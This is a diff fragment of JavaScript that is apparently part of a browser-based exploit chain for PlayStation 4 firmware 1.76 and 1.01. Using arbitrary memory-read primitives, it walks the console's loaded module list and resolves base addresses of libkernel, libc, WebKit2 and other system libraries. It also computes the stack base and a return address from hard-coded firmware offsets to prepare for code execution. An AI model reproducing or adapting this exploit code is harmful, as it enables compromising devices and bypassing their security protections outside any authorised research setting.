+ setBase(module_list);
+ while (modinfo_ptr != 0) {
+ var name = readString(modinfo_ptr + 0x18);
+ if (name == '') { break; }
+ var rdata_base = read64(modinfo_ptr + 0x170);
+ var rdata_size = read32(modinfo_ptr + 0x178);
+ var import_base = read64(modinfo_ptr + 0x180);
+ var import_size = read32(modinfo_ptr + 0x188);
+ if (rdata_base == 0 ||
+ rdata_size == 0 ||
+ import_base == 0 ||
+ import_size == 0) {
+ logAdd('jit kicked in? skipping...');
+ } else {
+ module_infos[n] = {
+ name : name,
+ image_base : rdata_base,
+ image_size : rdata_size + import_size,
+ image_end : rdata_base + rdata_size + import_size,
+ text_start : rdata_base,
+ text_size : rdata_size,
+ text_end : rdata_base + rdata_size,
+ idata_start : import_base,
+ idata_size : import_size,
+ idata_end : import_base + import_size,
+ };
+ }
+ // somehow adding the constant instead of reading the value
+ // tends to avoid the jit problem
+ //modinfo_ptr = read64(modinfo_ptr + 0);
+ modinfo_ptr += 0x1c0;
+ n++;
+ }
+
+ //get libkernel base
+ if(version === 1.76)
+ {
+ var libsysmodule_base = getU64from(xx+0x17E8);
+ xx = getU64from(xx+0x1468);
+ }
+ else if(version === 1.01)
+ {
+ var libsysmodule_base = 0x800148000;
+ xx = 0x800000000;
+ }
+
+ setBase(xx);
+
+ //get stack base
+ if(version === 1.76)
+ {
+ xx = getU64from(xx+0x5B278);
+ //yy = getU64from(xx+0x5AA70); //1.71
+ window.stack_base = xx - 0x4000;
+ //yy = getU64from(xx+0x5AA70);
+ }
+ else if(version === 1.01)
+ {
+ window.stack_base = 0x7FFFF8000;
+ }
+
+
+ // Defining modules
+ libkernel = module_infos[LIBKERNEL];
+ libSceLibcInternal = module_infos[LIBC];
+ libSceSysmodule = module_infos[LIBSYSMODULE];
+ libSceNet = module_infos[SCENET];
+ libSceNetCtl = module_infos[SCENETCTL];
+ libSceIpmi = module_infos[SCEIPMI];
+ libSceMbus = module_infos[SCEMBUS];
+ libSceRegMgr = module_infos[SCEREGMGR];
+ libSceRtc = module_infos[SCERTC];
+ libScePad = module_infos[SCEPAD];
+ libSceVideoOut = module_infos[SCEVIDEOOUT];
+ libScePigletv2VSH = module_infos[SCEPIGLET];
+ libSceOrbisCompat = module_infos[SCEORBISCOMPAT];
+ libSceWebKit2 = module_infos[WEBKIT2];
+ libSceSysCore = module_infos[SCESYSCORE];
+ libSceSsl = module_infos[SCESSL];
+ libSceVideoCoreServerInterface = module_infos[SCEVIDEOCORESERVICE];
+ libSceSystemService = module_infos[SCESYSTEMSERVICE];
+ libSceCompositeExt = module_infos[SCECOMPOSITEEXT];
+
+ logAdd("libkernel Base = 0x" + libkernel.image_base.toString(16));
+ logAdd("libSceLibcinternal Base = 0x" + libSceLibcInternal.image_base.toString(16));
+ logAdd("Stack Base = 0x" + stack_base.toString(16));
+
+ logAdd("Refresh this page between calls to avoid instability and crashes. Enjoy...");
+
+ if(version === 1.76)
+ {
+ window.return_va = 0x2b38;
+ }
+ else if(version === 1.01)
+ {
+ window.return_va = 0x2BB8;
+ }
+ }
+ catch(e) {
+ logAdd(e);
+ }
+
+ return 0;
+}